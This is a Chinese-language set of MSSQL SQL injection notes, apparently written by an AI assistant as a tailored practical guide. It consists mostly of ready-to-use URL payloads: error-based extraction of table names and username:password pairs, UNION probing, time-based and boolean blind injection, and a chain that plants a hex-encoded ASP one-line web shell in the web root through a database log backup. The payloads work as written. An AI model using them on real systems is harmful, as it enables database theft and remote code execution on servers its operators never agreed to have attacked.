-- 尝试将版本信息(varchar)转换为 int,必然报错并回显版本号 ?id=1 AND 1=CONVERT(int, @@version)-- ?id=1 AND 1=CAST((SELECT db_name()) AS int)--
-- 爆表名 (配合 TOP 1 和 NOT IN 遍历) ?id=1 AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- -- 爆下一个表名 ?id=1 AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND name NOT IN ('之前爆出的表名')))--
-- 爆字段名 ?id=1 AND 1=CONVERT(int, (SELECT TOP 1 name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')))--
-- 爆数据 (拼接并转换) ?id=1 AND 1=CONVERT(int, (SELECT TOP 1 username %2b ':' %2b password FROM users))--
_注意:URL 传参时,加号 + 需要被编码为 %2b。_
1.2 数学运算报错 (1/0)
类似于类型转换,除以 0 也会引发异常,若前面条件配合的好,可以带出数据。
1
?id=1 AND 1/(SELECT TOP 1 char(94)%2busername%2bchar(94) FROM users)=1--
2. UNION 联合查询注入
由于类型严格限制,在使用 UNION 时不能像 MySQL 那样随便写 1,2,3。
技巧: 先使用 NULL 探测列数,因为 NULL 可以匹配任何类型。
1 2 3 4 5 6 7 8 9
-- 1. 探测列数 (假设有 3 列) ?id=1' UNION ALL SELECT NULL, NULL, NULL--
-- 2. 探测数据类型 (逐个替换 NULL 为字符,不报错说明该列是字符型,可用于回显) ?id=1' UNION ALL SELECT 'a', NULL, NULL-- (如果报错,说明第一列不是字符型) ?id=1' UNION ALL SELECT NULL, 'a', NULL-- (不报错,说明第二列是字符型,回显点在这里)
-- 3. 获取数据 ?id=-1' UNION ALL SELECT NULL, @@version, NULL--
3. 盲注技巧 (布尔与时间)
3.1 时间盲注
MSSQL 的延时语句非常直观,使用 WAITFOR DELAY,格式为 时:分:秒。
1 2 3 4 5 6 7 8 9 10 11
-- 基础延时 5 秒 ?id=1'; WAITFOR DELAY '0:0:5'--
-- 结合 IF 语句进行时间盲注 (判断当前用户是否为 sa) ?id=1'; IF (SYSTEM_USER='sa') WAITFOR DELAY '0:0:5'--
-- 盲注当前数据库名长度 ?id=1'; IF (LEN(DB_NAME())>5) WAITFOR DELAY '0:0:5'--
-- 盲注当前数据库名第一个字符 ?id=1'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))=109) WAITFOR DELAY '0:0:5'--
3.2 布尔盲注
与 MySQL 基本一致,通过 SUBSTRING 和 ASCII 配合页面回显进行判断。
1
?id=1 AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master.dbo.sysdatabases),1,1))=109--
如果权限足够,且知道 Web 站点的绝对物理路径,可以通过备份数据库的方式将一句木马写入到 ASP/ASPX 文件中。
1 2 3 4 5 6 7 8 9 10
-- 1. 改变当前数据库恢复模式为完整 ?id=1'; alter database [数据库名] set recovery full;--
-- 2. 创建一个表并插入一句话木马 ?id=1'; create table cmd (a image); insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E);-- -- (0x... 是 <%execute(request("a"))%> 的十六进制)
-- 3. 进行日志备份,备份路径指向 Web 目录,后缀为 asp ?id=1'; backup log [数据库名] to disk = 'C:\inetpub\wwwroot\shell.asp' with init;-- ```这是一份为您定制的 **MSSQL (SQL Server) 注入基础** 笔记正文。考虑到您已经掌握了 MySQL 注入的基础,并且重点关注实战手法、代码和示例,我省略了基础的“SQL注入原理”等通用理论,直接切入 MSSQL 的特性、特有注入手法以及实战中常用的利用链(如 `xp_cmdshell` 和 OOB外带)。